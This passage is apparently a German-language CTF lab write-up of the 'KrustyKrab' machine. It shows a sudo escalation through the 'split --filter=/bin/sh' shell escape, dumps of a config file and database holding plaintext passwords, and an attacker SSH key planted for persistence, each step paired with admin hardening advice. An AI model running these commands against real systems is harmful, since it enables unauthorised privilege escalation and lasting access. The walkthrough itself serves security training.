Bewertung: Das ist ein sehr vielversprechender Fund für die Privilege Escalation! Wenn ein Benutzer einen Befehl mit `sudo NOPASSWD` als ein anderer Benutzer ausführen darf, und dieser Befehl missbraucht werden kann, um beliebigen Code auszuführen oder auf das Dateisystem zuzugreifen, ist dies oft ein direkter Weg zur Rechteerweiterung auf den Zielbenutzer (hier `KrustyKrab`). Das Tool `split` wird normalerweise verwendet, um Dateien in kleinere Teile zu zerlegen. Es muss nun geprüft werden, ob `split` für die Ausführung von Code missbraucht werden kann.

Empfehlung (Pentester): 1. Recherchieren Sie sofort nach "gtfobins split" oder "split privilege escalation". GTFOBins ist eine kuratierte Liste von Unix-Binaries, die für Privilege Escalation missbraucht werden können. 2. Wenn eine bekannte Methode existiert (was wahrscheinlich ist), wenden Sie diese an, um eine Shell als Benutzer `KrustyKrab` zu erhalten.
Empfehlung (Admin): - **Least Privilege für `sudo`:** Gewähren Sie `sudo`-Rechte sehr restriktiv. Wenn ein Prozess (wie der Webserver) bestimmte privilegierte Operationen ausführen muss, sollte dies idealerweise über speziell dafür geschriebene, gehärtete Skripte oder Programme geschehen, die nur genau die benötigte Funktionalität bieten und keine Shell-Escapes erlauben. - **`NOPASSWD` mit Vorsicht:** Die `NOPASSWD`-Option sollte nur verwendet werden, wenn es absolut notwendig ist und der erlaubte Befehl extrem sicher ist und nicht für weitere Eskalation missbraucht werden kann. Das ist bei Standard-Systembinaries selten der Fall. - Überprüfen Sie regelmäßig die `sudoers`-Konfiguration auf unnötige oder gefährliche Einträge. - Wenn `split` hier für einen legitimen Zweck mit `sudo` verwendet werden muss, stellen Sie sicher, dass alle Eingaben (Dateinamen etc.) streng validiert werden und keine speziellen Parameter (wie `--filter`) vom `www-data`-Kontext aus manipulierbar sind.

[Link: https://gtfobins.github.io/gtfobins/split/#sudo | Ziel: https://gtfobins.github.io/gtfobins/split/#sudo]

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

    The shell prompt is not printed.

    sudo split --filter=/bin/sh /dev/stdin
        

Analyse: Der Pentester hat, wie empfohlen, GTFOBins konsultiert und die Seite für `split` gefunden. GTFOBins beschreibt, dass `split`, wenn es mit `sudo` ausgeführt werden darf, missbraucht werden kann. Die interessante Option ist `--filter=COMMAND`. Wenn `split` eine Datei verarbeitet, kann es jede Zeile der Eingabedatei durch den angegebenen `COMMAND` filtern, bevor es sie in die Ausgabedatei schreibt. Wenn man `/dev/stdin` als Eingabedatei verwendet und `/bin/sh` als Filter, wird effektiv eine Shell gestartet. Der Befehl lautet: `sudo split --filter=/bin/sh /dev/stdin`. Da `www-data` `split` als `KrustyKrab` ausführen darf, muss der Befehl angepasst werden zu: `sudo -u KrustyKrab /usr/bin/split --filter=/bin/sh /dev/stdin`.

Bewertung: GTFOBins liefert hier den direkten Weg zur Ausnutzung. Die `--filter`-Option ist genau das, was benötigt wird, um Code im Kontext des Zielbenutzers (`KrustyKrab`) auszuführen. Da kein Passwort erforderlich ist (`NOPASSWD`), sollte dies unkompliziert sein.

Empfehlung (Pentester): Führen Sie den Befehl `sudo -u KrustyKrab /usr/bin/split --filter=/bin/sh /dev/stdin` in der `www-data`-Shell aus. Dies sollte eine neue Shell als Benutzer `KrustyKrab` starten.
Empfehlung (Admin): Dies unterstreicht die Gefahr, Standard-Systembinaries mit `sudo` und insbesondere `NOPASSWD` zu erlauben, wenn diese Binaries mächtige Optionen wie `--filter` (bei `split`) oder ähnliche Shell-Escape-Möglichkeiten bieten. Wenn `split` in einem `sudo`-Kontext verwendet werden muss, sollte sichergestellt werden, dass der aufrufende Prozess die Option `--filter` nicht kontrollieren kann oder dass der Befehl in einem Wrapper-Skript gekapselt ist, das nur bestimmte, sichere Operationen zulässt.

www-data@KrustyKrab:/var/www/html/finexo/admin_dashborad$ sudo -u KrustyKrab split --filter=/bin/sh /dev/stdin
id
uid=1000(KrustyKrab) gid=1000(debian) groups=1000(debian),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),110(bluetooth),1002(krustygroup)
bash
id
        

Analyse: Der Pentester führt den von GTFOBins abgeleiteten Befehl aus: `sudo -u KrustyKrab split --filter=/bin/sh /dev/stdin`. - `sudo -u KrustyKrab`: Führt den folgenden Befehl als Benutzer `KrustyKrab` aus. - `split --filter=/bin/sh`: Verwendet `/bin/sh` als Filter. - `/dev/stdin`: Liest von der Standardeingabe. Nach Ausführung des Befehls gibt der Pentester `id` ein. Die Ausgabe `uid=1000(KrustyKrab)...` bestätigt, dass die Shell nun mit den Rechten des Benutzers `KrustyKrab` läuft. Der Prompt ändert sich hier nicht sofort, aber die Effektive User ID ist die von `KrustyKrab`. Die Eingabe von `bash` und dann nochmal `id` ist redundant, da die erste `id`-Ausgabe bereits den Erfolg zeigt.

Bewertung: Perfekt! Die Privilege Escalation von `www-data` zu `KrustyKrab` war erfolgreich. Der Benutzer `KrustyKrab` hat die UID 1000 und ist Mitglied mehrerer Gruppen, darunter `sudo` und `krustygroup`. Die `sudo`-Mitgliedschaft ist besonders interessant für die weitere Eskalation zu `root`.

Empfehlung (Pentester): 1. Sie sind jetzt Benutzer `KrustyKrab`. 2. Enumerieren Sie das Home-Verzeichnis von `KrustyKrab` (`/home/KrustyKrab` oder `~`) gründlich. 3. Überprüfen Sie die `sudo`-Rechte für `KrustyKrab`: `sudo -l`. Da `KrustyKrab` Mitglied der `sudo`-Gruppe ist, könnte er möglicherweise alle Befehle als `root` ausführen (`(ALL : ALL) ALL`) oder spezifische Rechte haben. 4. Suchen Sie nach SSH-Schlüsseln, Konfigurationsdateien mit Passwörtern, Skripten oder anderen Hinweisen im Home-Verzeichnis.
Empfehlung (Admin): Die Schwachstelle in der `sudoers`-Konfiguration wurde erfolgreich ausgenutzt. - Entfernen oder korrigieren Sie den unsicheren `sudo`-Eintrag für `www-data`. - Überprüfen Sie, warum `KrustyKrab` Mitglied der `sudo`-Gruppe ist. Wenn dieser Benutzer keine administrativen Aufgaben ausführen muss, entfernen Sie ihn aus der `sudo`-Gruppe, um das Prinzip der geringsten Rechte zu wahren.

KrustyKrab@KrustyKrab:~$ ls -la ~
total 2892
drwx------ 3 KrustyKrab debian    4096 Mar 30 00:15 .
drwxr-xr-x 6 root       root      4096 Mar 27 02:30 ..
lrwxrwxrwx 1 KrustyKrab debian       9 Mar 30 00:15 .bash_history -> /dev/null
-rw-r--r-- 1 KrustyKrab debian     220 Jul 11  2023 .bash_logout
-rw-r--r-- 1 KrustyKrab debian    3553 Mar 30 00:03 .bashrc
drwxr-xr-x 3 KrustyKrab debian    4096 Mar 24 06:36 .local
-rw------- 1 KrustyKrab debian     172 Mar 29 23:39 .mysql_history
-rw-r--r-- 1 KrustyKrab debian     807 Jul 11  2023 .profile
-rw-r--r-- 1 KrustyKrab debian       0 Mar 27 05:14 .sudo_as_admin_successful
-rw-r--r-- 1 root       root   2925104 Mar 26 23:39 help
-rw-r--r-- 1 root       root        33 Mar 27 03:04 user.txt
        

Analyse: Als Benutzer `KrustyKrab` wird der Inhalt des Home-Verzeichnisses (`~`, also `/home/KrustyKrab`) aufgelistet. Interessante Funde: - `.bash_history` ist ein Symlink zu `/dev/null`, d.h. die Bash-Historie wird nicht gespeichert (oder wurde gelöscht/deaktiviert). - `.mysql_history`: Enthält möglicherweise MySQL-Befehle, die ausgeführt wurden, was auf Interaktion mit einer Datenbank hindeutet. - `.sudo_as_admin_successful`: Eine leere Datei, die oft als Markerdatei nach einer erfolgreichen `sudo`-Operation erstellt wird. - `help`: Eine sehr große Datei (2.9MB), die `root` gehört. Ihr Inhalt ist unklar. - `user.txt`: Dies ist sehr wahrscheinlich die Benutzerflagge! Sie gehört `root`, aber `KrustyKrab` hat Leserechte darauf.

Bewertung: Der Fund von `user.txt` ist ein wichtiger Schritt in CTF-Szenarien. Die `.mysql_history` könnte Passwörter oder Datenbanknamen enthalten. Die große `help`-Datei ist ungewöhnlich und könnte versteckte Informationen oder einfach nur Datenmüll enthalten. Dass `KrustyKrab` die `user.txt` (die `root` gehört) lesen kann, ist entweder so gewollt (CTF-Design) oder eine Fehlkonfiguration der Berechtigungen.

Empfehlung (Pentester): 1. Lesen Sie sofort den Inhalt von `user.txt`: `cat user.txt`. 2. Untersuchen Sie `.mysql_history`: `cat .mysql_history`. 3. Untersuchen Sie die `help`-Datei (z.B. mit `file help`, `strings help`, `less help`), um ihren Zweck und Inhalt zu verstehen. Seien Sie vorsichtig beim direkten Ausführen, falls es ein Skript ist. 4. Führen Sie `sudo -l` aus, um die `sudo`-Rechte von `KrustyKrab` zu überprüfen.
Empfehlung (Admin): - Benutzerflaggen (`user.txt`, `root.txt`) sollten normalerweise nur vom jeweiligen Benutzer (oder `root`) lesbar sein. Wenn `KrustyKrab` die `user.txt` von `root` lesen kann, ist das eine Fehlkonfiguration. - Überprüfen Sie die Berechtigungen aller sensiblen Dateien. - Die Deaktivierung der Bash-Historie (`.bash_history -> /dev/null`) kann forensische Analysen erschweren, ist aber manchmal eine bewusste Entscheidung. - Dateien wie `.mysql_history` können sensible Informationen enthalten und sollten geschützt oder regelmäßig geleert werden, wenn sie nicht benötigt werden.

KrustyKrab@KrustyKrab:~$ cat user.txt
dcc8b0c111c9fa1522c7abfac8d1864b
        
KrustyKrab@KrustyKrab:~$ cat .mysql_history
_HiStOrY_V2_
show databases;
use your_database;
select * from users;
show databases;
use your_database;
show tables
;
select * from users;
        

Analyse: 1. `cat user.txt`: Gibt den Inhalt der Benutzerflagge aus: `dcc8b0c111c9fa1522c7abfac8d1864b`. 2. `cat .mysql_history`: Zeigt die ausgeführten MySQL-Befehle. Der Benutzer hat Datenbanken und Tabellen aufgelistet (`show databases;`, `use your_database;`, `show tables;`) und den Inhalt der `users`-Tabelle abgefragt (`select * from users;`).

Bewertung: Die Benutzerflagge wurde erfolgreich gefunden! Die MySQL-Historie zeigt Standard-Enumerationsbefehle für eine Datenbank namens `your_database` und eine Tabelle `users`. Dies könnte die Datenbank sein, die von der `/finexo`-Webanwendung verwendet wird. Es wurden keine direkten Passwörter in der History gespeichert, aber die Struktur der Datenbank wird klarer.

Empfehlung (Pentester): 1. Benutzerflagge notieren. 2. Versuchen Sie, sich mit den Informationen aus der MySQL-History (Datenbankname, Tabellenname) und den zuvor gefundenen Zugangsdaten (falls vorhanden, z.B. aus einer `config.php`) mit der MySQL-Datenbank zu verbinden, um weitere Informationen zu extrahieren. Der nächste Schritt im Bericht ist das Lesen der `config.php` der Webanwendung.
Empfehlung (Admin): - Sichern Sie die Benutzerflagge (in realen Szenarien wären das sensible Benutzerdaten). - Die `.mysql_history`-Datei kann sensible Informationen enthalten. In Umgebungen mit hohen Sicherheitsanforderungen kann es sinnvoll sein, die History-Funktion für den MySQL-Client zu deaktivieren oder die Datei regelmäßig zu löschen/zu schützen.

KrustyKrab@KrustyKrab:/var/www/html/finexo$ cat config.php
session_start();

$servername = "localhost";
$username = "root";
$password = "RootRootandRootyou";
$dbname = "your_database";
$port = 3306;

$conn = new mysqli($servername, $username, $password, $dbname, $port);

if ($conn->connect_error) {
    die("数据库连接失败: " . $conn->connect_error);
}

return $conn; 
        

Analyse: Als Benutzer `KrustyKrab` (der wahrscheinlich Leserechte auf `/var/www/html/finexo` hat, oder der Pfad wurde aus der `www-data`-Shell beibehalten) wird der Inhalt der Datei `config.php` der Finexo-Webanwendung ausgelesen. Diese Datei wurde zuvor von Gobuster als leer (Size 0) gemeldet, was offensichtlich falsch war oder der Zugriff als `www-data` war unzureichend, um den Inhalt zu sehen. Die `config.php` enthält: - PHP-Session-Start. - MySQL-Verbindungsparameter: - Servername: `localhost` - Benutzername: `root` - **Passwort: `RootRootandRootyou`** - Datenbankname: `your_database` - Port: `3306` (Standard-MySQL-Port) - PHP-Code zum Aufbau der MySQL-Verbindung. - Eine Fehlermeldung auf Chinesisch ("数据库连接失败:" - Datenbankverbindung fehlgeschlagen).

Bewertung: Das ist ein extrem wertvoller Fund! Die `config.php` enthält die Klartext-Zugangsdaten für die MySQL-Datenbank. Der Benutzer ist `root` (MySQL-Root, nicht System-Root) mit dem Passwort `RootRootandRootyou`. Dies ermöglicht vollen Zugriff auf die MySQL-Instanz. Der Datenbankname `your_database` wurde bereits in der `.mysql_history` gesehen. Die chinesische Fehlermeldung ist ein kleiner, interessanter kultureller Hinweis oder ein Überbleibsel aus einem Template.

Empfehlung (Pentester): 1. Verwenden Sie diese Zugangsdaten (`root` / `RootRootandRootyou`), um sich mit dem lokalen MySQL-Dienst zu verbinden: `mysql -u root -p`. 2. Enumerieren Sie die Datenbanken und Tabellen vollständig, insbesondere die `users`-Tabelle in der `your_database`-Datenbank. Suchen Sie nach weiteren Benutzern, Passwörtern (möglicherweise gehasht) oder anderen sensiblen Informationen. 3. Prüfen Sie, ob der MySQL-Dienst mit Systemprivilegien läuft oder ob UDFs (User Defined Functions) für eine weitere Eskalation zu System-Root missbraucht werden können (oft schwierig und kontextabhängig).
Empfehlung (Admin): - **Speichern Sie niemals Passwörter im Klartext in Konfigurationsdateien, die vom Webserver-Prozess lesbar sind!** Dies ist eine der häufigsten und gefährlichsten Fehlkonfigurationen. - Verwenden Sie stattdessen Umgebungsvariablen oder sicherere Konfigurationsmanagement-Tools, um Zugangsdaten zu speichern. - Der MySQL-Benutzer, den die Webanwendung verwendet, sollte nur die minimal notwendigen Berechtigungen für die Datenbank haben (z.B. SELECT, INSERT, UPDATE, DELETE auf bestimmte Tabellen), niemals `root`-Rechte. Erstellen Sie einen dedizierten, unprivilegierten Benutzer für die Webanwendung. - Wenn die `config.php` vom `www-data`-Benutzer nicht lesbar sein muss (z.B. wenn sie nur einmal von einem übergeordneten Skript eingebunden wird), schränken Sie die Leserechte entsprechend ein. Hier konnte `KrustyKrab` sie lesen, was immer noch ein Problem ist.

KrustyKrab@KrustyKrab:/var/www/html/finexo$ mysql -u root -p
Enter password: RootRootandRootyou

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 76
Server version: 10.11.11-MariaDB-0+deb12u1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| your_database      |
+--------------------+
5 rows in set (0.001 sec)

MariaDB [(none)]> use your_database;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [your_database]> show tables;
+-------------------------+
| Tables_in_your_database |
+-------------------------+
| users                   |
+-------------------------+
1 row in set (0.000 sec)

MariaDB [your_database]> select * from users;
+----+---------------+----------------+-----------------------+----------+---------------------+---------------------+
| id | username      | email          | profile_picture       | password | created_at          | updated_at          |
+----+---------------+----------------+-----------------------+----------+---------------------+---------------------+
|  1 | SpongeBob     | ben@hacker.com | 1745713962_upload.jpg | admin    | 2025-03-24 16:06:33 | 2025-04-26 19:32:42 |
|  2 | Administratro | ben@hacker.com | 1745714061_upload.jpg | admin123 | 2025-03-24 16:31:10 | 2025-04-26 19:34:21 |
+----+---------------+----------------+-----------------------+----------+---------------------+---------------------+
2 rows in set (0.000 sec)
        

Analyse: Der Pentester hat sich erfolgreich mit dem MySQL-Server als `root`-Benutzer mit dem Passwort `RootRootandRootyou` verbunden. Folgende Aktionen werden durchgeführt: 1. `show databases;`: Listet alle Datenbanken auf. `your_database` ist vorhanden. 2. `use your_database;`: Wählt die Zieldatenbank aus. 3. `show tables;`: Listet die Tabellen in `your_database` auf. Nur die Tabelle `users` ist vorhanden. 4. `select * from users;`: Gibt alle Einträge aus der `users`-Tabelle aus. Die Tabelle enthält die Benutzer `SpongeBob` und `Administratro`. Interessanterweise sind die Passwörter hier im Klartext gespeichert: - SpongeBob: `admin` (Das war das erste Passwort, das im Login-Formular mit "Wrong Password" fehlschlug. Das erfolgreiche war `squarepants`. Dies deutet darauf hin, dass die Webanwendung möglicherweise ein anderes Passwort-Speichersystem hat oder das Passwort `squarepants` nicht in diese DB geschrieben wurde, oder diese `admin`-Passwort war ein altes/Standardpasswort.) - Administratro: `admin123` (Dies ist das Passwort, das der Pentester zuvor über den IDOR-Angriff gesetzt hat.) Die E-Mail und die Profilbild-Dateinamen werden ebenfalls angezeigt.

Bewertung: Der Zugriff auf die Datenbank als MySQL-`root` ist ein großer Erfolg. Die Speicherung von Passwörtern im Klartext in der Datenbank ist eine schwere Sicherheitslücke. Die Diskrepanz beim Passwort von `SpongeBob` (`admin` in DB vs. `squarepants` für Web-Login) ist bemerkenswert. Mögliche Erklärungen: - Die Webanwendung verwendet eine andere Authentifizierungsmethode oder eine andere Datenquelle für das tatsächliche Login. - Die `users`-Tabelle hier ist nicht die primäre Authentifizierungsquelle, oder das `squarepants`-Passwort wurde woanders gehasht/gespeichert. - Das `admin`-Passwort war ein initiales/Fallback-Passwort. Dennoch sind die Klartextpasswörter, auch wenn eines davon veraltet zu sein scheint, ein kritischer Fund.

Empfehlung (Pentester): 1. Dokumentieren Sie die Klartextpasswörter und die Tatsache, dass sie unverschlüsselt gespeichert werden. 2. Obwohl `SpongeBob`s Passwort hier als `admin` angezeigt wird, war `squarepants` für den Web-Login erfolgreich. Dies könnte bedeuten, dass weitere Passwort-Hashes oder Klartext-Passwörter an anderer Stelle im System oder in anderen Datenbanken/Tabellen zu finden sind. 3. Suchen Sie nach anderen Datenbanken oder Tabellen, die für die Authentifizierung relevant sein könnten. 4. Prüfen Sie die MySQL-Benutzer und deren Berechtigungen (`SELECT user, host FROM mysql.user;`, `SHOW GRANTS FOR 'user'@'host';`).
Empfehlung (Admin): - **PASSWÖRTER NIEMALS IM KLARTEXT SPEICHERN!** Dies ist ein fundamentaler Sicherheitsverstoß. Passwörter müssen immer mit einem starken, modernen Hashing-Algorithmus (z.B. Argon2, scrypt, bcrypt) und Salt gespeichert werden. - Überarbeiten Sie das Authentifizierungssystem der Webanwendung, um sichere Passwortspeicherung zu implementieren. - Untersuchen Sie die Diskrepanz beim `SpongeBob`-Passwort. Gibt es mehrere Passwortspeicher? - Der MySQL-`root`-Benutzer sollte ein sehr starkes, einzigartiges Passwort haben und der Zugriff darauf sollte strengstens beschränkt sein. Die Webanwendung sollte, wie bereits erwähnt, niemals mit `root`-Rechten auf die Datenbank zugreifen.

KrustyKrab@KrustyKrab:/var/www/html/finexo$ sudo -l
Matching Defaults entries for KrustyKrab on KrustyKrab:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty

User KrustyKrab may run the following commands on KrustyKrab:
    (spongebob) NOPASSWD: /usr/bin/ttteeesssttt
        

Analyse: Als Benutzer `KrustyKrab` werden erneut die `sudo`-Rechte überprüft. Die Ausgabe zeigt: `User KrustyKrab may run the following commands on KrustyKrab: (spongebob) NOPASSWD: /usr/bin/ttteeesssttt`. Das bedeutet, der Benutzer `KrustyKrab` darf den Befehl `/usr/bin/ttteeesssttt` als Benutzer `spongebob` ohne Passworteingabe ausführen.

Bewertung: Dies ist ein weiterer potenzieller Vektor für Privilege Escalation, diesmal von `KrustyKrab` zu `spongebob`. Auch wenn es wie ein Downgrade erscheinen mag (da `KrustyKrab` bereits Zugriff auf `user.txt` hatte und in der `sudo`-Gruppe ist), könnte der `spongebob`-Account andere spezifische Rechte oder Zugriffe haben, die für die Eskalation zu `root` nützlich sind. Die Datei `/usr/bin/ttteeesssttt` ist ein unbekanntes Custom Binary und muss untersucht werden.

Empfehlung (Pentester): 1. Untersuchen Sie die Datei `/usr/bin/ttteeesssttt`: - `file /usr/bin/ttteeesssttt` (um den Dateityp zu bestimmen). - `strings /usr/bin/ttteeesssttt` (um nach lesbaren Zeichenketten zu suchen). - Wenn es sich um ein ELF-Binary handelt, laden Sie es zur weiteren Analyse auf Ihr Angreifer-System herunter (z.B. mit `nc` oder einem Python HTTP-Server) und verwenden Sie Reverse-Engineering-Tools wie Ghidra, IDA Pro oder radare2. 2. Führen Sie den Befehl testweise aus: `sudo -u spongebob /usr/bin/ttteeesssttt --help` (oder andere gängige Optionen), um zu sehen, wie er sich verhält.
Empfehlung (Admin): - Überprüfen Sie den Zweck und die Sicherheit des Custom Binary `/usr/bin/ttteeesssttt`. Wenn es mit `sudo` ausgeführt werden darf, muss es absolut sicher gegen Missbrauch sein. - Auch hier gilt das Prinzip der geringsten Rechte für `sudo`-Einträge. Warum muss `KrustyKrab` diesen Befehl als `spongebob` ausführen? - Entfernen Sie unnötige `sudo`-Regeln.

KrustyKrab@KrustyKrab:/var/www/html/finexo$ file /usr/bin/ttteeesssttt
/usr/bin/ttteeesssttt: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d09b4f447605d9003bb1b561944e39b22f1cd650, for GNU/Linux 3.2.0, not stripped
        

Analyse: Der Befehl `file /usr/bin/ttteeesssttt` wird ausgeführt, um den Typ der Datei zu bestimmen. Die Ausgabe bestätigt, dass es sich um eine ausführbare ELF 64-Bit LSB PIE (Position Independent Executable) Datei handelt. Sie ist dynamisch gelinkt und "not stripped", was bedeutet, dass Symbolinformationen für das Debugging und Reverse Engineering noch vorhanden sein könnten, was die Analyse erleichtert.

Bewertung: Die Information "not stripped" ist gut für den Pentester. Da es sich um ein ELF-Executable handelt, ist der nächste logische Schritt, es herunterzuladen und mit Tools wie Ghidra zu analysieren, um seine Funktionsweise zu verstehen und nach Schwachstellen oder Shell-Escape-Möglichkeiten zu suchen, wenn es im Kontext von `spongebob` ausgeführt wird.

Empfehlung (Pentester): 1. Laden Sie die Datei `/usr/bin/ttteeesssttt` auf Ihr Angreifersystem herunter. 2. Analysieren Sie sie mit Ghidra oder einem ähnlichen Disassembler/Decompiler. 3. Führen Sie das Programm auf dem Zielsystem (als `KrustyKrab` oder mit `sudo -u spongebob`) aus und beobachten Sie sein Verhalten und seine Argumente.
Empfehlung (Admin): - Stellen Sie sicher, dass produktive Binaries, insbesondere solche mit erhöhten Rechten, "stripped" sind, um Reverse Engineering zu erschweren (obwohl dies keine absolute Sicherheit bietet). - Analysieren Sie den Quellcode (falls verfügbar) aller Custom Binaries, die mit `sudo` verwendet werden, auf Sicherheitslücken.

KrustyKrab@KrustyKrab:~$ mkdir .ssh
mkdir .ssh
        
KrustyKrab@KrustyKrab:~$ echo '^[[200~ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILexGJtVm3h0G8cCYuRWrPhHjJrpEfFDFeKVI7jwy1T7 root@CCat^[[201~' > .ssh/^[[200~authorized_keys^[[201~
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILexGJtVm3h0G8cCYuRWrPhHjJrpEfFDFeKVI7jwy1T7 root@CCat' > .ssh/authorized_keys
        
KrustyKrab@KrustyKrab:~$ ls -la
total 2896
drwx------ 4 KrustyKrab debian    4096 Apr 26 20:00 .
drwxr-xr-x 6 root       root      4096 Mar 27 02:30 ..
lrwxrwxrwx 1 KrustyKrab debian       9 Mar 30 00:15 .bash_history -> /dev/null
-rw-r--r-- 1 KrustyKrab debian     220 Jul 11  2023 .bash_logout
-rw-r--r-- 1 KrustyKrab debian    3553 Mar 30 00:03 .bashrc
drwxr-xr-x 3 KrustyKrab debian    4096 Mar 24 06:36 .local
-rw------- 1 KrustyKrab debian     270 Apr 26 19:59 .mysql_history
-rw-r--r-- 1 KrustyKrab debian     807 Jul 11  2023 .profile
drwxr-xr-x 2 KrustyKrab debian    4096 Apr 26 20:01 .ssh
-rw-r--r-- 1 KrustyKrab debian       0 Mar 27 05:14 .sudo_as_admin_successful
-rw-r--r-- 1 root       root   2925104 Mar 26 23:39 help
-rw-r--r-- 1 root       root        33 Mar 27 03:04 user.txt
        
KrustyKrab@KrustyKrab:~$ cd .ssh
cd .ssh
        
KrustyKrab@KrustyKrab:~/.ssh$ ls -la
total 12
drwxr-xr-x 2 KrustyKrab debian 4096 Apr 26 20:01 .
drwx------ 4 KrustyKrab debian 4096 Apr 26 20:00 ..
-rw-r--r-- 1 KrustyKrab debian   91 Apr 26 20:01 authorized_keys
        
KrustyKrab@KrustyKrab:~/.ssh$ cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILexGJtVm3h0G8cCYuRWrPhHjJrpEfFDFeKVI7jwy1T7 root@CCat
        

Analyse: Als Benutzer `KrustyKrab` werden Schritte unternommen, um einen SSH-Zugang mit Schlüssel-basierter Authentifizierung einzurichten: 1. `mkdir .ssh`: Erstellt das Verzeichnis `.ssh` im Home-Verzeichnis von `KrustyKrab`. Dieses Verzeichnis wird für SSH-Konfigurationen und Schlüssel verwendet. 2. `echo '...' > .ssh/authorized_keys`: Der öffentliche SSH-Schlüssel des Angreifers (`root@CCat`) wird in die Datei `.ssh/authorized_keys` geschrieben. Die erste `echo`-Zeile im Bericht enthält Terminal-Escape-Sequenzen (`^[[200~...^[[201~`), die wahrscheinlich durch Klammer-Paste-Modus entstanden sind und hier ignoriert werden können, da die zweite, saubere `echo`-Zeile den korrekten Befehl zeigt. 3. `ls -la` und `cd .ssh; ls -la`: Bestätigen die Erstellung des Verzeichnisses und der Datei mit den korrekten Berechtigungen (obwohl die Berechtigungen für `.ssh` oft restriktiver sind, z.B. `700`). 4. `cat authorized_keys`: Zeigt den Inhalt der Datei an und bestätigt, dass der öffentliche Schlüssel des Angreifers korrekt eingetragen wurde.

Bewertung: Dies ist ein Standardvorgehen, um persistenten und komfortableren Zugriff auf einen Benutzeraccount per SSH zu erlangen, sobald man Shell-Zugriff hat und Schreibrechte im Home-Verzeichnis besitzt. Nachdem der öffentliche Schlüssel in `authorized_keys` eingetragen ist, kann sich der Angreifer nun mit seinem privaten SSH-Schlüssel als Benutzer `KrustyKrab` ohne Passwort anmelden.

Empfehlung (Pentester): 1. Versuchen Sie nun, sich von Ihrem Angreifer-System (CCat) aus per SSH als `KrustyKrab` anzumelden: `ssh KrustyKrab@192.168.2.185` (oder welche IP-Adresse aktuell gültig ist). Sie sollten ohne Passwortabfrage eingeloggt werden. 2. Eine SSH-Verbindung ist stabiler und bietet bessere Interaktivität als die vorherige `split`-Shell.
Empfehlung (Admin): - Überwachen Sie die Erstellung und Änderung von `.ssh/authorized_keys`-Dateien auf Ihren Systemen. Unerwartete Einträge können auf eine Kompromittierung hindeuten. - Stellen Sie sicher, dass die Berechtigungen für das `.ssh`-Verzeichnis (sollte `700` sein - `drwx------`) und die `authorized_keys`-Datei (sollte `600` sein - `-rw-------`) korrekt und restriktiv sind. - Schulen Sie Benutzer im sicheren Umgang mit SSH-Schlüsseln.

┌──(root㉿CCat)-[~] └─# ssh KrustyKrab@192.168.2.185
The authenticity of host '192.168.2.185 (192.168.2.185)' can't be established.
ED25519 key fingerprint is SHA256:0d4MWSfQ+tUZ0f4j8Wea2uYelBzzcaj0CI4NtYQIx0E.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:110: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.185' (ED25519) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': 
Linux KrustyKrab 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 30 00:15:24 2025 from 192.168.56.118
KrustyKrab@KrustyKrab:~$ 
        

Analyse: Der Pentester verbindet sich von seinem Kali-System (`root@CCat`) per SSH mit dem Zielserver (`192.168.2.185`) als Benutzer `KrustyKrab`. - Die Authentizität des Hosts wird bestätigt ("yes"). - Der SSH-Client fragt nach einer Passphrase für den privaten Schlüssel `/root/.ssh/id_rsa`. Dies bedeutet, dass der private Schlüssel des Angreifers (`id_rsa`) mit einer Passphrase geschützt ist. Der öffentliche Schlüssel, der in `authorized_keys` auf dem Zielserver eingetragen wurde, war ein `ed25519`-Schlüssel. Hier wird jedoch ein `rsa`-Schlüssel verwendet. Dies ist ein kleiner Widerspruch, aber SSH kann mehrere Schlüssel ausprobieren. Entscheidend ist, dass einer passt. - Nach Eingabe der (nicht gezeigten) Passphrase ist der Login erfolgreich. - Die Willkommensnachricht des Debian-Systems wird angezeigt, und der Pentester erhält einen Shell-Prompt als `KrustyKrab@KrustyKrab:~$`.

Bewertung: Der SSH-Zugang als `KrustyKrab` mittels Schlüssel-Authentifizierung war erfolgreich. Dies bietet eine stabile und voll interaktive Shell für die weitere Enumeration und Privilege Escalation. Die Diskrepanz zwischen dem `ed25519`-Schlüssel in `authorized_keys` und der Abfrage nach der Passphrase für `id_rsa` deutet darauf hin, dass der Angreifer mehrere private Schlüssel hat und der SSH-Client den passenden auswählt oder der Angreifer den Pfad zum korrekten Schlüssel nicht explizit angegeben hat und der Client Standardpfade durchprobiert.

Empfehlung (Pentester): Sie haben nun eine stabile Shell als `KrustyKrab`. 1. Führen Sie `sudo -l` erneut aus, um die sudo-Rechte von `KrustyKrab` in dieser neuen Shell zu überprüfen. 2. Setzen Sie die Enumeration fort, insbesondere im Hinblick auf die Privilege Escalation zu `root` oder einem anderen privilegierten Benutzer. 3. Überprüfen Sie die Funktionalität des `/usr/bin/ttteeesssttt`-Binaries.
